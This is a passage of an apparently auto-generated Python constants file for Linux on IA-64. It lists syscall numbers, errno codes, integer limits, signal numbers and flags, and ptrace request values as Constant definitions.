Constant('__NR_getpeername',(1024 + 172))\n__NR_socketpair = Constant('__NR_socketpair',(1024 + 173))\n__NR_send = Constant('__NR_send',(1024 + 174))\n__NR_sendto = Constant('__NR_sendto',(1024 + 175))\n__NR_recv = Constant('__NR_recv',(1024 + 176))\n__NR_recvfrom = Constant('__NR_recvfrom',(1024 + 177))\n__NR_shutdown = Constant('__NR_shutdown',(1024 + 178))\n__NR_setsockopt = Constant('__NR_setsockopt',(1024 + 179))\n__NR_getsockopt = Constant('__NR_getsockopt',(1024 + 180))\n__NR_sendmsg = Constant('__NR_sendmsg',(1024 + 181))\n__NR_recvmsg = Constant('__NR_recvmsg',(1024 + 182))\n__NR_pivot_root = Constant('__NR_pivot_root',(1024 + 183))\n__NR_mincore = Constant('__NR_mincore',(1024 + 184))\n__NR_madvise = Constant('__NR_madvise',(1024 + 185))\n__NR_stat = Constant('__NR_stat',(1024 + 186))\n__NR_lstat = Constant('__NR_lstat',(1024 + 187))\n__NR_fstat = Constant('__NR_fstat',(1024 + 188))\n__NR_clone2 = Constant('__NR_clone2',(1024 + 189))\n__NR_getdents64 = Constant('__NR_getdents64',(1024 + 190))\n__NR_getunwind = Constant('__NR_getunwind',(1024 + 191))\n__NR_readahead = Constant('__NR_readahead',(1024 + 192))\n__NR_setxattr = Constant('__NR_setxattr',(1024 + 193))\n__NR_lsetxattr = Constant('__NR_lsetxattr',(1024 + 194))\n__NR_fsetxattr = Constant('__NR_fsetxattr',(1024 + 195))\n__NR_getxattr = Constant('__NR_getxattr',(1024 + 196))\n__NR_lgetxattr = Constant('__NR_lgetxattr',(1024 + 197))\n__NR_fgetxattr = Constant('__NR_fgetxattr',(1024 + 198))\n__NR_listxattr = Constant('__NR_listxattr',(1024 + 199))\n__NR_llistxattr = Constant('__NR_llistxattr',(1024 + 200))\n__NR_flistxattr = Constant('__NR_flistxattr',(1024 + 201))\n__NR_removexattr = Constant('__NR_removexattr',(1024 + 202))\n__NR_lremovexattr = Constant('__NR_lremovexattr',(1024 + 203))\n__NR_fremovexattr = Constant('__NR_fremovexattr',(1024 + 204))\n__NR_tkill = Constant('__NR_tkill',(1024 + 205))\n__NR_futex = Constant('__NR_futex',(1024 + 206))\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',(1024 + 207))\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',(1024 + 208))\n__NR_set_tid_address = Constant('__NR_set_tid_address',(1024 + 209))\n__NR_fadvise64 = Constant('__NR_fadvise64',(1024 + 210))\n__NR_tgkill = Constant('__NR_tgkill',(1024 + 211))\n__NR_exit_group = Constant('__NR_exit_group',(1024 + 212))\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',(1024 + 213))\n__NR_io_setup = Constant('__NR_io_setup',(1024 + 214))\n__NR_io_destroy = Constant('__NR_io_destroy',(1024 + 215))\n__NR_io_getevents = Constant('__NR_io_getevents',(1024 + 216))\n__NR_io_submit = Constant('__NR_io_submit',(1024 + 217))\n__NR_io_cancel = Constant('__NR_io_cancel',(1024 + 218))\n__NR_epoll_create = Constant('__NR_epoll_create',(1024 + 219))\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',(1024 + 220))\n__NR_epoll_wait = Constant('__NR_epoll_wait',(1024 + 221))\n__NR_restart_syscall = Constant('__NR_restart_syscall',(1024 + 222))\n__NR_semtimedop = Constant('__NR_semtimedop',(1024 + 223))\n__NR_timer_create = Constant('__NR_timer_create',(1024 + 224))\n__NR_timer_settime = Constant('__NR_timer_settime',(1024 + 225))\n__NR_timer_gettime = Constant('__NR_timer_gettime',(1024 + 226))\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(1024 + 227))\n__NR_timer_delete = Constant('__NR_timer_delete',(1024 + 228))\n__NR_clock_settime = Constant('__NR_clock_settime',(1024 + 229))\n__NR_clock_gettime = Constant('__NR_clock_gettime',(1024 + 230))\n__NR_clock_getres = Constant('__NR_clock_getres',(1024 + 231))\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(1024 + 232))\n__NR_fstatfs64 = Constant('__NR_fstatfs64',(1024 + 233))\n__NR_statfs64 = Constant('__NR_statfs64',(1024 + 234))\n__NR_mbind = Constant('__NR_mbind',(1024 + 235))\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',(1024 + 236))\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',(1024 + 237))\n__NR_mq_open = Constant('__NR_mq_open',(1024 + 238))\n__NR_mq_unlink = Constant('__NR_mq_unlink',(1024 + 239))\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',(1024 + 240))\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(1024 + 241))\n__NR_mq_notify = Constant('__NR_mq_notify',(1024 + 242))\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(1024 + 243))\n__NR_kexec_load = Constant('__NR_kexec_load',(1024 + 244))\n__NR_vserver = Constant('__NR_vserver',(1024 + 245))\n__NR_waitid = Constant('__NR_waitid',(1024 + 246))\n__NR_add_key = Constant('__NR_add_key',(1024 + 247))\n__NR_request_key = Constant('__NR_request_key',(1024 + 248))\n__NR_keyctl = Constant('__NR_keyctl',(1024 + 249))\n__NR_ioprio_set = Constant('__NR_ioprio_set',(1024 + 250))\n__NR_ioprio_get = Constant('__NR_ioprio_get',(1024 + 251))\n__NR_move_pages = Constant('__NR_move_pages',(1024 + 252))\n__NR_inotify_init = Constant('__NR_inotify_init',(1024 + 253))\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',(1024 + 254))\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',(1024 + 255))\n__NR_migrate_pages = Constant('__NR_migrate_pages',(1024 + 256))\n__NR_openat = Constant('__NR_openat',(1024 + 257))\n__NR_mkdirat = Constant('__NR_mkdirat',(1024 + 258))\n__NR_mknodat = Constant('__NR_mknodat',(1024 + 259))\n__NR_fchownat = Constant('__NR_fchownat',(1024 + 260))\n__NR_futimesat = Constant('__NR_futimesat',(1024 + 261))\n__NR_newfstatat = Constant('__NR_newfstatat',(1024 + 262))\n__NR_unlinkat = Constant('__NR_unlinkat',(1024 + 263))\n__NR_renameat = Constant('__NR_renameat',(1024 + 264))\n__NR_linkat = Constant('__NR_linkat',(1024 + 265))\n__NR_symlinkat = Constant('__NR_symlinkat',(1024 + 266))\n__NR_readlinkat = Constant('__NR_readlinkat',(1024 + 267))\n__NR_fchmodat = Constant('__NR_fchmodat',(1024 + 268))\n__NR_faccessat = Constant('__NR_faccessat',(1024 + 269))\n__NR_pselect6 = Constant('__NR_pselect6',(1024 + 270))\n__NR_ppoll = Constant('__NR_ppoll',(1024 + 271))\n__NR_unshare = Constant('__NR_unshare',(1024 + 272))\n__NR_splice = Constant('__NR_splice',(1024 + 273))\n__NR_set_robust_list = Constant('__NR_set_robust_list',(1024 + 274))\n__NR_get_robust_list = Constant('__NR_get_robust_list',(1024 + 275))\n__NR_sync_file_range = Constant('__NR_sync_file_range',(1024 + 276))\n__NR_tee = Constant('__NR_tee',(1024 + 277))\n__NR_vmsplice = Constant('__NR_vmsplice',(1024 + 278))\n__NR_fallocate = Constant('__NR_fallocate',(1024 + 279))\n__NR_getcpu = Constant('__NR_getcpu',(1024 + 280))\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',(1024 + 281))\n__NR_utimensat = Constant('__NR_utimensat',(1024 + 282))\n__NR_signalfd = Constant('__NR_signalfd',(1024 + 283))\n__NR_timerfd = Constant('__NR_timerfd',(1024 + 284))\n__NR_eventfd = Constant('__NR_eventfd',(1024 + 285))\n__NR_timerfd_create = Constant('__NR_timerfd_create',(1024 + 286))\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',(1024 + 287))\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',(1024 + 288))\n__NR_signalfd4 = Constant('__NR_signalfd4',(1024 + 289))\n__NR_eventfd2 = Constant('__NR_eventfd2',(1024 + 290))\n__NR_epoll_create1 = Constant('__NR_epoll_create1',(1024 + 291))\n__NR_dup3 = Constant('__NR_dup3',(1024 + 292))\n__NR_pipe2 = Constant('__NR_pipe2',(1024 + 293))\n__NR_inotify_init1 = Constant('__NR_inotify_init1',(1024 + 294))\n__NR_preadv = Constant('__NR_preadv',(1024 + 295))\n__NR_pwritev = Constant('__NR_pwritev',(1024 + 296))\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',(1024 + 297))\n__NR_recvmmsg = Constant('__NR_recvmmsg',(1024 + 298))\n__NR_fanotify_init = Constant('__NR_fanotify_init',(1024 + 299))\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',(1024 + 300))\n__NR_prlimit64 = Constant('__NR_prlimit64',(1024 + 301))\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',(1024 + 302))\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',(1024 + 303))\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',(1024 + 304))\n__NR_syncfs = Constant('__NR_syncfs',(1024 + 305))\n__NR_setns = Constant('__NR_setns',(1024 + 306))\n__NR_sendmmsg = Constant('__NR_sendmmsg',(1024 + 307))\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',(1024 + 308))\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',(1024 + 309))\n__NR_accept4 = Constant('__NR_accept4',(1024 + 310))\n__NR_finit_module = Constant('__NR_finit_module',(1024 + 311))\n__NR_sched_setattr = Constant('__NR_sched_setattr',(1024 + 312))\n__NR_sched_getattr = Constant('__NR_sched_getattr',(1024 + 313))\n__NR_renameat2 = Constant('__NR_renameat2',(1024 + 314))\n__NR_getrandom = Constant('__NR_getrandom',(1024 + 315))\n__NR_memfd_create = Constant('__NR_memfd_create',(1024 + 316))\n__NR_bpf = Constant('__NR_bpf',(1024 + 317))\n__NR_execveat = Constant('__NR_execveat',(1024 + 318))\n__NR_userfaultfd = Constant('__NR_userfaultfd',(1024 + 319))\n__NR_membarrier = Constant('__NR_membarrier',(1024 + 320))\n__NR_kcmp = Constant('__NR_kcmp',(1024 + 321))\n__NR_mlock2 = Constant('__NR_mlock2',(1024 + 322))\n__NR_copy_file_range = Constant('__NR_copy_file_range',(1024 + 323))\n__NR_preadv2 = Constant('__NR_preadv2',(1024 + 324))\n__NR_pwritev2 = Constant('__NR_pwritev2',(1024 + 325))\n__NR_statx = Constant('__NR_statx',(1024 + 326))\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',(1024 + 327))\n__NR_perf_event_open = Constant('__NR_perf_event_open',(1024 + 328))\n__NR_seccomp = Constant('__NR_seccomp',(1024 + 329))\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',(1024 + 330))\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',(1024 + 331))\n__NR_pkey_free = Constant('__NR_pkey_free',(1024 + 332))\n__NR_rseq = Constant('__NR_rseq',(1024 + 333))\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',(1024 + 424))\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',(1024 + 425))\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',(1024 + 426))\n__NR_io_uring_register = Constant('__NR_io_uring_register',(1024 + 427))\n__NR_open_tree = Constant('__NR_open_tree',(1024 + 428))\n__NR_move_mount = Constant('__NR_move_mount',(1024 + 429))\n__NR_fsopen = Constant('__NR_fsopen',(1024 + 430))\n__NR_fsconfig = Constant('__NR_fsconfig',(1024 + 431))\n__NR_fsmount = Constant('__NR_fsmount',(1024 + 432))\n__NR_fspick = Constant('__NR_fspick',(1024 + 433))\n__NR_pidfd_open = Constant('__NR_pidfd_open',(1024 + 434))\n__NR_openat2 = Constant('__NR_openat2',(1024 + 437))\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',(1024 + 438))\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',1234)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',1234)\n__WORDSIZE = Constant('__WORDSIZE',64)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807)))\nINTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGBUS = Constant('SIGBUS',7)\nSIGUSR1 = Constant('SIGUSR1',10)\nSIGUSR2 = Constant('SIGUSR2',12)\nSIGSTKFLT = Constant('SIGSTKFLT',16)\nSIGCHLD = Constant('SIGCHLD',17)\nSIGCONT = Constant('SIGCONT',18)\nSIGSTOP = Constant('SIGSTOP',19)\nSIGTSTP = Constant('SIGTSTP',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGURG = Constant('SIGURG',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGIO = Constant('SIGIO',29)\nSIGPWR = Constant('SIGPWR',30)\nSIGSYS = Constant('SIGSYS',31)\nSIGCLD = Constant('SIGCLD',17)\nSIGPOLL = Constant('SIGPOLL',29)\nSIGLOST = Constant('SIGLOST',30)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = 